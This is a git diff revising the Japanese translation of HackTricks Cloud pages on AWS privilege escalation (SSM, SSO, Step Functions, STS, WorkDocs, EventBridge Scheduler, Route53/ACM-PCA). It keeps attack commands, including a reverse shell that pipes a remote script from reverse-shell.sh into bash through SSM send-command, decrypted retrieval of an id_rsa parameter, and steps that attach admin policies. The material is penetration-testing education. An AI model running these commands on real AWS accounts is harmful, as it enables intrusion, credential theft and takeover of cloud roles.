+既に侵害されたEC2インスタンス内で特権を昇格させるためにこの技術を使用している場合、次のコマンドでローカルにリバースシェルをキャプチャできます: ```bash # If you are in the machine you can capture the reverseshel inside of it nc -lvnp 4444 #Inside the EC2 instance @@ -31,11 +31,11 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \ --document-name "AWS-RunShellScript" --output text \ --parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" ``` -**潜在的な影響:** SSMエージェントが実行されているインスタンスに接続されたEC2 IAMロールへの直接的な権限昇格。 +**潜在的な影響:** SSMエージェントが実行されているインスタンスにアタッチされたEC2 IAMロールへの直接的な権限昇格。 ### `ssm:StartSession` -**`ssm:StartSession`** の権限を持つ攻撃者は、Amazon SSMエージェントが実行されているインスタンスで**SSHのようなセッションを開始**し、その中で実行されている**IAMロールを侵害**することができます。 +**`ssm:StartSession`** の権限を持つ攻撃者は、Amazon SSMエージェントが実行されているインスタンスで**SSHのようなセッションを開始**し、**その中で実行されているIAMロールを侵害**することができます。 ```bash # Check for configured instances aws ssm describe-instance-information @@ -45,25 +45,25 @@ aws ssm describe-sessions --state Active aws ssm start-session --target "$INSTANCE_ID" ``` > [!CAUTION] -> セッションを開始するには、**SessionManagerPlugin**がインストールされている必要があります: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) +> セッションを開始するには、**SessionManagerPlugin**をインストールする必要があります: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) **潜在的な影響:** SSMエージェントが実行されているインスタンスにアタッチされたEC2 IAMロールへの直接的な権限昇格。 #### ECSへの権限昇格 -**ECSタスク**が**`ExecuteCommand`が有効**な状態で実行されると、十分な権限を持つユーザーは`ecs execute-command`を使用して**コンテナ内でコマンドを実行**できます。\ +**ECSタスク**が**`ExecuteCommand`を有効にして実行される**と、十分な権限を持つユーザーは`ecs execute-command`を使用して**コンテナ内でコマンドを実行**できます。\ [**ドキュメント**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/)によると、これは“_exec_”コマンドを開始するために使用するデバイスと、SSMセッションマネージャーを使用したターゲットコンテナとの間に安全なチャネルを作成することによって行われます。(これが機能するためにはSSMセッションマネージャープラグインが必要です)\ -したがって、`ssm:StartSession`を持つユーザーは、そのオプションが有効な状態でECSタスク内に**シェルを取得**することができます。 +したがって、`ssm:StartSession`を持つユーザーは、そのオプションを有効にしてECSタスク内で**シェルを取得**できるようになります。 ```bash aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" ``` ![](<../../../images/image (185).png>) -**潜在的な影響:** `ExecuteCommand`が有効な実行中のタスクに添付された`ECS`IAMロールへの直接的な権限昇格。 +**潜在的影響:** `ExecuteCommand`が有効な実行中のタスクに接続された`ECS` IAMロールへの直接的な権限昇格。 ### `ssm:ResumeSession` -**`ssm:ResumeSession`**の権限を持つ攻撃者は、**切断された**SSMセッション状態のAmazon SSMエージェントが実行されているインスタンスでSSHのようなセッションを再**開始**し、その中で実行されているIAMロールを**侵害**することができます。 +**`ssm:ResumeSession`**の権限を持つ攻撃者は、Amazon SSMエージェントが実行されているインスタンスで**切断された**SSMセッション状態のSSHのようなセッションを再**開始**し、その中で実行されているIAMロールを**侵害**することができます。 ```bash # Check for configured instances aws ssm describe-sessions @@ -72,7 +72,7 @@ aws ssm describe-sessions aws ssm resume-session \ --session-id Mary-Major-07a16060613c408b5 ``` -**潜在的な影響:** SSMエージェントが実行されているインスタンスに接続されたEC2 IAMロールへの直接的な権限昇格と切断されたセッション。 +**潜在的影響:** 実行中のインスタンスに接続されたSSMエージェントと切断されたセッションを持つEC2 IAMロールへの直接的な権限昇格。 ### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) @@ -91,7 +91,7 @@ aws ssm get-parameter --name id_rsa --with-decryption ``` aws ssm list-commands ``` -**潜在的影響:** コマンドライン内の機密情報を見つける。 +**潜在的な影響:** コマンドライン内の機密情報を見つける。 ### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) @@ -103,11 +103,11 @@ aws ssm list-command-invocations aws ssm get-command-invocation --command-id --instance-id ``` -**潜在的影響:** コマンドラインの出力内に機密情報を見つける。 +**潜在的な影響:** コマンドラインの出力内に機密情報を見つけることができます。 ### Codebuild -SSMを使用して、ビルド中のcodebuildプロジェクトにアクセスすることもできます: +SSMを使用して、ビルド中のcodebuildプロジェクトにアクセスすることもできます: {{#ref}} aws-codebuild-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md index 101f9831c..0672df889 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md @@ -11,7 +11,7 @@ AWS Identity Center / AWS SSOに関する詳細情報は、以下を確認して {{#endref}} > [!WARNING] -> **デフォルト**では、**管理アカウント**の権限を持つ**ユーザー**のみがIAMアイデンティティセンターにアクセスし、**制御**できることに注意してください。\ +> **デフォルト**では、**管理アカウント**の**権限**を持つ**ユーザー**のみが**IAMアイデンティティセンター**にアクセスし、**制御**できることに注意してください。\ > 他のアカウントのユーザーは、そのアカウントが**委任管理者**である場合にのみ許可されます。\ > [詳細については、ドキュメントを確認してください。](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) @@ -63,7 +63,7 @@ aws sso-admin provision-permission-set --instance-arn --permissio この権限を持つ攻撃者は、自分の管理下にあるユーザーに付与されたPermission Setに追加の権限を付与することができます。 > [!WARNING] -> この場合、これらの権限を悪用するには、**影響を受けるすべてのアカウント内にあるカスタマーマネージドポリシーの名前を知っている必要があります**。 +> この場合、これらの権限を悪用するには、**影響を受けるすべてのアカウント内にあるカスタマー管理ポリシーの名前**を知っている必要があります。 ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference @@ -79,7 +79,7 @@ aws sso-admin create-account-assignment --instance-arn --target-i ``` ### `sso:GetRoleCredentials` -ユーザーに割り当てられた特定のロール名のSTS短期資格情報を返します。 +指定されたユーザーに割り当てられたロール名のSTS短期資格情報を返します。 ``` aws sso get-role-credentials --role-name --account-id --access-token ``` @@ -87,19 +87,19 @@ aws sso get-role-credentials --role-name --account-id --access-t ### `sso:DetachManagedPolicyFromPermissionSet` -この権限を持つ攻撃者は、指定された権限セットからAWS管理ポリシーの関連付けを削除できます。**管理ポリシーを切り離す(拒否ポリシー)**ことにより、より多くの権限を付与することが可能です。 +この権限を持つ攻撃者は、指定された権限セットからAWS管理ポリシーの関連付けを削除できます。**管理ポリシーを切り離すこと(拒否ポリシー)**によって、より多くの権限を付与することが可能です。 ```bash aws sso-admin detach-managed-policy-from-permission-set --instance-arn --permission-set-arn --managed-policy-arn ``` ### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet` -この権限を持つ攻撃者は、指定された権限セットからカスタマー管理ポリシーとの関連を削除できます。**管理ポリシーを切り離す(拒否ポリシー)**ことで、より多くの権限を付与することが可能です。 +この権限を持つ攻撃者は、指定された権限セットからカスタマー管理ポリシーとの関連を削除できます。**管理ポリシー(拒否ポリシー)を切り離すことによって、より多くの権限を付与することが可能です。** ```bash aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference ``` ### `sso:DeleteInlinePolicyFromPermissionSet` -この権限を持つ攻撃者は、権限セットからインラインポリシーの権限を削除するアクションを実行できます。インラインポリシー(拒否ポリシー)を切り離すことで、**より多くの権限を付与する**ことが可能です。 +この権限を持つ攻撃者は、権限セットからインラインポリシーの権限を削除することができます。インラインポリシー(拒否ポリシー)を切り離すことで、**より多くの権限を付与する**ことが可能です。 ```bash aws sso-admin delete-inline-policy-from-permission-set --instance-arn --permission-set-arn ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md index 8d764a2a0..4b233bc7e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md @@ -25,7 +25,7 @@ ### `states:TestState` & `iam:PassRole` -**`states:TestState`** および **`iam:PassRole`** 権限を持つ攻撃者は、既存のステートマシンを作成または更新することなく、任意のステートをテストし、任意のIAMロールをそれに渡すことができ、ロールの権限を持つ他のAWSサービスへの不正アクセスを可能にします。これらの権限が組み合わさることで、ワークフローの操作からデータの変更、データ漏洩、リソース操作、特権昇格に至るまで、広範な不正行為が引き起こされる可能性があります。 +**`states:TestState`** および **`iam:PassRole`** 権限を持つ攻撃者は、既存のステートマシンを作成または更新することなく、任意のステートをテストし、任意のIAMロールをそれに渡すことができ、ロールの権限を持つ他のAWSサービスへの不正アクセスを可能にします。これらの権限が組み合わさることで、ワークフローの操作からデータの変更、データ漏洩、リソース操作、特権昇格に至るまで、広範な不正行為を引き起こす可能性があります。 ```bash aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] ``` @@ -42,7 +42,7 @@ aws states test-state --definition --role-arn [--input ] "End": true } ``` -- **コマンド** 実行して特権昇格を行う: +- **権限昇格**を実行するために実行された**コマンド**: ```bash aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole @@ -59,11 +59,11 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn "status": "SUCCEEDED" } ``` -**潜在的な影響**: ワークフローの不正な実行と操作、および機密リソースへのアクセスが可能になり、重大なセキュリティ侵害につながる可能性があります。 +**潜在的影響**: ワークフローの不正実行と操作、および機密リソースへのアクセスが可能になり、重大なセキュリティ侵害につながる可能性があります。 ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) -**`states:CreateStateMachine`** と **`iam:PassRole`** を持つ攻撃者は、ステートマシンを作成し、任意のIAMロールを提供することができ、そのロールの権限を持つ他のAWSサービスへの不正アクセスを可能にします。前の特権昇格技術 (**`states:TestState`** & **`iam:PassRole`**) と対照的に、これは自動的には実行されず、ステートマシン上での実行を開始するために **`states:StartExecution`** または **`states:StartSyncExecution`** の権限が必要です (**`states:StartSyncExecution`** は **標準ワークフローには利用できず、** 表現ステートマシンのみに適用されます)。 +**`states:CreateStateMachine`** と **`iam:PassRole`** を持つ攻撃者は、ステートマシンを作成し、任意のIAMロールを提供することができ、ロールの権限を使用して他のAWSサービスへの不正アクセスを可能にします。前の特権昇格技術 (**`states:TestState`** & **`iam:PassRole`**) と対照的に、これは自動的には実行されず、ステートマシン上での実行を開始するために **`states:StartExecution`** または **`states:StartSyncExecution`** の権限が必要です (**`states:StartSyncExecution`** は **標準ワークフローには利用できず、** 表現ステートマシンのみに適用されます)。 ```bash # Create a state machine aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ @@ -123,7 +123,7 @@ aws stepfunctions create-state-machine --name MaliciousStateMachine --definition "creationDate": "2024-07-09T20:29:35.381000+02:00" } ``` -- **コマンド** 実行して **以前に作成したステートマシンの実行を開始**: +- **コマンド** 実行して **以前に作成されたステートマシンの実行を開始**: ```json aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine { @@ -138,20 +138,20 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1 ### `states:UpdateStateMachine` & (必ずしも必要ではない) `iam:PassRole` -**`states:UpdateStateMachine`** 権限を持つ攻撃者は、ステートマシンの定義を変更でき、特権昇格につながる追加の隠れたステートを追加することができます。このようにして、正当なユーザーがステートマシンの実行を開始すると、この新しい悪意のある隠れたステートが実行され、特権昇格が成功します。 +**`states:UpdateStateMachine`** 権限を持つ攻撃者は、ステートマシンの定義を変更でき、特に権限昇格につながる追加のステルス状態を追加することができます。このようにして、正当なユーザーがステートマシンの実行を開始すると、この新しい悪意のあるステルス状態が実行され、権限昇格が成功します。 ステートマシンに関連付けられたIAMロールがどれだけ許可的であるかによって、攻撃者は2つの状況に直面します。 -1. **許可的なIAMロール**: ステートマシンに関連付けられたIAMロールがすでに許可的である場合(例えば、**`arn:aws:iam::aws:policy/AdministratorAccess`** ポリシーが添付されている場合)、特権を昇格させるために**`iam:PassRole`** 権限は必要ありません。ステートマシンの定義を更新する必要がないためです。 -2. **非許可的なIAMロール**: 前のケースとは対照的に、ここでは攻撃者は**`iam:PassRole`** 権限も必要です。ステートマシンの定義を変更するだけでなく、ステートマシンに許可的なIAMロールを関連付ける必要があるためです。 +1. **許可的なIAMロール**: ステートマシンに関連付けられたIAMロールがすでに許可的である場合(例えば、**`arn:aws:iam::aws:policy/AdministratorAccess`** ポリシーが添付されている場合)、権限を昇格させるために**`iam:PassRole`** 権限は必要ありません。ステートマシンの定義を更新する必要がないためです。 +2. **許可的でないIAMロール**: 前のケースとは対照的に、ここでは攻撃者は**`iam:PassRole`** 権限も必要です。ステートマシンの定義を変更するだけでなく、ステートマシンに許可的なIAMロールを関連付ける必要があるためです。 ```bash aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ [--tracing-configuration ] [--publish | --no-publish] [--version-description ] ``` -以下の例は、HelloWorld Lambda関数を呼び出す正当なステートマシンを更新し、ユーザー **`unprivilegedUser`** を **`administrator`** IAMグループに追加する追加のステートを加える方法を示しています。このようにして、正当なユーザーが更新されたステートマシンの実行を開始すると、この新しい悪意のあるステルスステートが実行され、特権昇格が成功します。 +以下の例は、HelloWorld Lambda関数を呼び出す正当なステートマシンを更新し、ユーザー**`unprivilegedUser`**を**`administrator`** IAMグループに追加する追加のステートを加える方法を示しています。このようにして、正当なユーザーが更新されたステートマシンの実行を開始すると、この新しい悪意のあるステルスステートが実行され、特権昇格が成功します。 > [!WARNING] -> ステートマシンに許可されたIAMロールが関連付けられていない場合、許可されたIAMロールを関連付けるためにIAMロールを更新するには、**`iam:PassRole`** 権限も必要です(例えば、**`arn:aws:iam::aws:policy/AdministratorAccess`** ポリシーが添付されたものなど)。 +> ステートマシンに許可されたIAMロールが関連付けられていない場合、許可されたIAMロールを関連付けるためにIAMロールを更新するには、**`iam:PassRole`**権限も必要です(例えば、**`arn:aws:iam::aws:policy/AdministratorAccess`**ポリシーが添付されたものなど)。 {{#tabs }} {{#tab name="Legit State Machine" }} @@ -226,6 +226,6 @@ aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-eas "revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" } ``` -**潜在的な影響**: ワークフローの不正実行と操作、および機密リソースへのアクセスが可能になり、重大なセキュリティ侵害につながる可能性があります。 +**潜在的な影響**: ワークフローの不正実行と操作、機密リソースへのアクセスが可能になり、重大なセキュリティ侵害につながる可能性があります。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md index d79d1f0e6..b3a6d04a4 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md @@ -23,15 +23,15 @@ ] } ``` -あなたは次のコマンドを実行することで、ロールをなりすますことができます: +ロールを偽装することができます: ```bash aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname ``` **潜在的な影響:** 役割への権限昇格。 > [!CAUTION] -> この場合、権限 `sts:AssumeRole` は **悪用する役割に明示されている必要があり**、攻撃者に属するポリシーには含まれていない必要があります。\ -> 一つの例外を除き、**異なるアカウントから役割を引き受けるためには**、攻撃者アカウントもその役割に対して **`sts:AssumeRole`** を持っている必要があります。 +> この場合、権限 `sts:AssumeRole` は **悪用する役割に示される必要があり**、攻撃者に属するポリシーには示されないことに注意してください。\ +> 一つの例外を除いて、**異なるアカウントから役割を引き受けるためには**、攻撃者アカウントもその役割に対して **`sts:AssumeRole`** を持っている必要があります。 ### **`sts:GetFederationToken`** @@ -39,7 +39,7 @@ aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname ```bash aws sts get-federation-token --name ``` -これは、他のユーザーを偽装するアクセスを与えずに、この権限を安全に付与する方法です: +この権限は、他のユーザーを偽装するアクセスを与えずに安全に付与することができます: ```json { "Version": "2012-10-17", @@ -78,7 +78,7 @@ aws sts get-federation-token --name ] } ``` -一般的に、ロールを偽装するための資格情報を生成するには、次のようなものを使用できます: +ロールを偽装するための資格情報を生成するには、一般的に次のようなものを使用できます: ```bash aws sts assume-role-with-saml --role-arn --principal-arn ``` @@ -90,7 +90,7 @@ onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 -- ### `sts:AssumeRoleWithWebIdentity` -この権限は、**モバイル、ウェブアプリケーション、EKS...** でウェブアイデンティティプロバイダーを使用して認証されたユーザーのために、一連の一時的なセキュリティ資格情報を取得する権限を付与します。[詳細はこちら。](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) +この権限は、**モバイル、ウェブアプリケーション、EKS...** でウェブアイデンティティプロバイダーを使用して認証されたユーザーのために、一連の一時的なセキュリティ資格情報を取得する権限を付与します。[Learn more here.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) 例えば、**EKSサービスアカウント**が**IAMロールを偽装**できる必要がある場合、**`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** にトークンがあり、次のようにして**ロールを引き受けて資格情報を取得**できます: ```bash diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md index 595985d00..1f2a623d0 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md @@ -2,7 +2,7 @@ ## WorkDocs -WorkDocsに関する詳細情報は以下を確認してください: +WorkDocsに関する詳細情報は、以下を確認してください: {{#ref}} ../aws-services/aws-directory-services-workdocs-enum.md @@ -15,9 +15,9 @@ WorkDocsに関する詳細情報は以下を確認してください: # Create user (created inside the AD) aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password --email-address name@directory.domain --organization-id ``` -### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)` +### `workdocs:GetDocument`, `(workdocs:DescribeActivities)` -ファイルには機密情報が含まれている可能性があるため、読み取ってください: +ファイルには機密情報が含まれている可能性があるため、読み取ってください: ```bash # Get what was created in the directory aws workdocs describe-activities --organization-id @@ -30,7 +30,7 @@ aws workdocs get-document --document-id ``` ### `workdocs:AddResourcePermissions` -何かを読むアクセス権がない場合は、それを付与することができます。 +何かを読むアクセス権がない場合は、それを単に付与することができます。 ```bash # Add permission so anyway can see the file aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER @@ -41,6 +41,6 @@ aws workdocs add-resource-permissions --resource-id --principals Id=anonymo ユーザーを管理者にするには、グループ ZOCALO_ADMIN に設定します。\ そのためには、[https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) の指示に従ってください。 -そのユーザーで workdoc にログインし、`/workdocs/index.html#/admin` で管理パネルにアクセスします。 +そのユーザーで workdoc にログインし、`/workdocs/index.html#/admin` の管理パネルにアクセスします。 -cli からこれを行う方法は見つかりませんでした。 +CLI からこれを行う方法は見つかりませんでした。 diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md index 8b15880fb..9fd9bebcc 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md @@ -4,7 +4,7 @@ ## EventBridge Scheduler -EventBridge Schedulerに関する詳細情報は以下を参照してください: +EventBridge Schedulerの詳細情報は以下を参照してください: {{#ref}} ../aws-services/eventbridgescheduler-enum.md @@ -14,7 +14,7 @@ EventBridge Schedulerに関する詳細情報は以下を参照してくださ これらの権限を持つ攻撃者は、**スケジューラーを`create`|`update`し、それに付随するスケジューラー役割の権限を悪用して任意のアクションを実行することができます。** -例えば、彼らはスケジュールを設定して**Lambda関数を呼び出す**ことができ、これはテンプレート化されたアクションです: +例えば、彼らはスケジュールを設定して**Lambda関数を呼び出す**ことができ、これはテンプレート化されたアクションです: ```bash aws scheduler create-schedule \ --name MyLambdaSchedule \ @@ -25,7 +25,7 @@ aws scheduler create-schedule \ "RoleArn": "arn:aws:iam:::role/" }' ``` -テンプレート化されたサービスアクションに加えて、EventBridge Schedulerでは**ユニバーサルターゲット**を使用して、多くのAWSサービスの幅広いAPI操作を呼び出すことができます。ユニバーサルターゲットは、ほぼすべてのAPIを呼び出す柔軟性を提供します。1つの例は、**putRolePolicy**ポリシーを持つロールを使用して、ユニバーサルターゲットを追加することで「**AdminAccessPolicy**」を使用することです: +テンプレート化されたサービスアクションに加えて、EventBridge Schedulerでは**universal targets**を使用して、多くのAWSサービスの幅広いAPI操作を呼び出すことができます。Universal targetsは、ほぼすべてのAPIを呼び出す柔軟性を提供します。1つの例は、**putRolePolicy**ポリシーを持つロールを使用して、**AdminAccessPolicy**を追加することです。 ```bash aws scheduler create-schedule \ --name GrantAdminToTargetRoleSchedule \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md index 805d1a212..33d9f8d60 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md @@ -11,17 +11,17 @@ Route53に関する詳細情報は次を確認してください: ### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate` > [!NOTE] -> この攻撃を実行するには、ターゲットアカウントにすでに[**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)**が設定されている必要があり、VPC内のEC2インスタンスはすでにその証明書をインポートして信頼する必要があります。このインフラストラクチャが整った状態で、AWS APIトラフィックを傍受するための次の攻撃を実行できます。 +> この攻撃を実行するには、ターゲットアカウントにすでに[**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)**が設定されている必要があり、VPC内のEC2インスタンスはすでにその証明書をインポートして信頼する必要があります。このインフラストラクチャが整っている場合、AWS APIトラフィックを傍受するために次の攻撃を実行できます。 列挙部分に**推奨されるが必須ではない**他の権限:`route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` -AWS VPCがあり、複数のクラウドネイティブアプリケーションが互いにおよびAWS APIと通信していると仮定します。マイクロサービス間の通信はしばしばTLSで暗号化されているため、これらのサービスに対して有効な証明書を発行するためのプライベートCAが必要です。**ACM-PCAが使用されている場合**、敵対者が**route53とacm-pcaプライベートCAの両方を制御するアクセスを取得**し、上記の最小限の権限セットを持っていると、**AWS APIへのアプリケーション呼び出しをハイジャック**し、IAM権限を乗っ取ることができます。 +AWS VPCがあり、複数のクラウドネイティブアプリケーションが互いにおよびAWS APIと通信していると仮定します。マイクロサービス間の通信はしばしばTLSで暗号化されているため、これらのサービスに対して有効な証明書を発行するためのプライベートCAが必要です。**ACM-PCAがそれに使用され**、敵が**route53とacm-pcaプライベートCAの両方を制御するアクセスを取得**し、上記の最小限の権限セットを持っている場合、AWS APIへのアプリケーション呼び出しを**ハイジャック**し、IAM権限を奪うことができます。 これは次の理由から可能です: -- AWS SDKは[証明書ピンニング](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning)を持っていません -- Route53はAWS APIのドメイン名に対してプライベートホステッドゾーンとDNSレコードを作成することを許可します -- ACM-PCAのプライベートCAは特定のコモンネームのための証明書のみを署名するように制限できません +- AWS SDKは[証明書ピンニング](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning)を持っていない +- Route53はAWS APIのドメイン名用にプライベートホステッドゾーンとDNSレコードを作成することを許可している +- ACM-PCAのプライベートCAは特定のコモンネームのための証明書のみを署名するように制限できない **潜在的な影響:** トラフィック内の機密情報を傍受することによる間接的な権限昇格。 diff --git a/src/pentesting-cloud/aws-security/aws-services/README.md b/src/pentesting-cloud/aws-security/aws-services/README.md index d7dd4b075..856a8c930 100644 --- a/src/pentesting-cloud/aws-security/aws-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/README.md @@ -8,24 +8,24 @@ コンテナサービスに該当するサービスは、以下の特徴を持っています: -- サービス自体は **別のインフラストラクチャインスタンス**、例えば EC2 上で実行されます。 -- **AWS** は **オペレーティングシステムとプラットフォームの管理**を担当します。 -- AWS によって提供される管理サービスは、通常、**コンテナとして見なされる実際のアプリケーションのサービス自体**です。 +- サービス自体は**別のインフラストラクチャインスタンス**、例えばEC2上で実行されます。 +- **AWS**は**オペレーティングシステムとプラットフォームの管理**を担当します。 +- AWSによって提供される管理サービスは、通常、**コンテナとして見なされる実際のアプリケーション**自体です。 - これらのコンテナサービスのユーザーとして、**ネットワークアクセスセキュリティの管理、例えばネットワークアクセス制御リストルールやファイアウォールの管理**など、いくつかの管理およびセキュリティ責任があります。 - また、存在する場合はプラットフォームレベルのアイデンティティおよびアクセス管理も含まれます。 -- **AWS** のコンテナサービスの **例** には、リレーショナルデータベースサービス、エラスティックマップリデュース、エラスティックビーンストークがあります。 +- **AWSのコンテナサービスの例**には、Relational Database Service、Elastic Mapreduce、Elastic Beanstalkがあります。 ### 抽象サービス - これらのサービスは、**クラウドアプリケーションが構築されるプラットフォームまたは管理層から削除され、抽象化されています**。 -- サービスは、AWS アプリケーションプログラミングインターフェース(API)を使用してエンドポイント経由でアクセスされます。 -- **基盤となるインフラストラクチャ、オペレーティングシステム、およびプラットフォームは AWS によって管理されます**。 +- サービスはAWSアプリケーションプログラミングインターフェース(API)を使用してエンドポイント経由でアクセスされます。 +- **基盤となるインフラストラクチャ、オペレーティングシステム、およびプラットフォームはAWSによって管理されています**。 - 抽象化されたサービスは、基盤となるインフラストラクチャが共有されるマルチテナンシープラットフォームを提供します。 - **データはセキュリティメカニズムによって隔離されています**。 -- 抽象サービスは IAM との強力な統合を持ち、**抽象サービスの例**には S3、DynamoDB、Amazon Glacier、SQS が含まれます。 +- 抽象サービスはIAMとの強力な統合を持ち、**抽象サービスの例**にはS3、DynamoDB、Amazon Glacier、SQSがあります。 ## サービスの列挙 -**このセクションのページは AWS サービスによって順序付けられています。そこでは、サービスに関する情報(動作と機能)を見つけることができ、特権を昇格させることができます。** +**このセクションのページはAWSサービスによって順序付けられています。そこでは、サービスに関する情報(動作や機能)を見つけることができ、特権を昇格させることができます。** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md index ed00950d8..deb2c7f59 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md @@ -6,25 +6,25 @@ ### 基本情報 -AWS API Gatewayは、開発者が**大規模にAPIを作成、公開、管理する**ために設計された、Amazon Web Services(AWS)が提供する包括的なサービスです。これはアプリケーションへの入り口として機能し、開発者がルールと手順のフレームワークを確立することを許可します。このフレームワークは、外部ユーザーがアプリケーション内の特定のデータや機能にアクセスする方法を管理します。 +AWS API Gatewayは、開発者が**大規模にAPIを作成、公開、管理**するために設計された、Amazon Web Services(AWS)が提供する包括的なサービスです。これはアプリケーションへの入り口として機能し、開発者がルールと手順のフレームワークを確立することを許可します。このフレームワークは、外部ユーザーがアプリケーション内の特定のデータや機能にアクセスする方法を管理します。 API Gatewayは、**APIへのリクエストがどのように処理されるべきかを定義**することを可能にし、特定のメソッド(例:GET、POST、PUT、DELETE)とリソースを持つカスタムAPIエンドポイントを作成できます。また、開発者がアプリケーションからAPIを呼び出しやすくするためのクライアントSDK(ソフトウェア開発キット)を生成することもできます。 ### API Gatewayの種類 -- **HTTP API**: OIDCやOAuth2などの組み込み機能とネイティブCORSサポートを備えた、低遅延でコスト効果の高いREST APIを構築します。以下と連携します:Lambda、HTTPバックエンド。 +- **HTTP API**: OIDCやOAuth2などの組み込み機能とネイティブCORSサポートを備えた低遅延でコスト効果の高いREST APIを構築します。以下と連携します:Lambda、HTTPバックエンド。 - **WebSocket API**: チャットアプリケーションやダッシュボードなどのリアルタイムユースケースのために、持続的な接続を使用してWebSocket 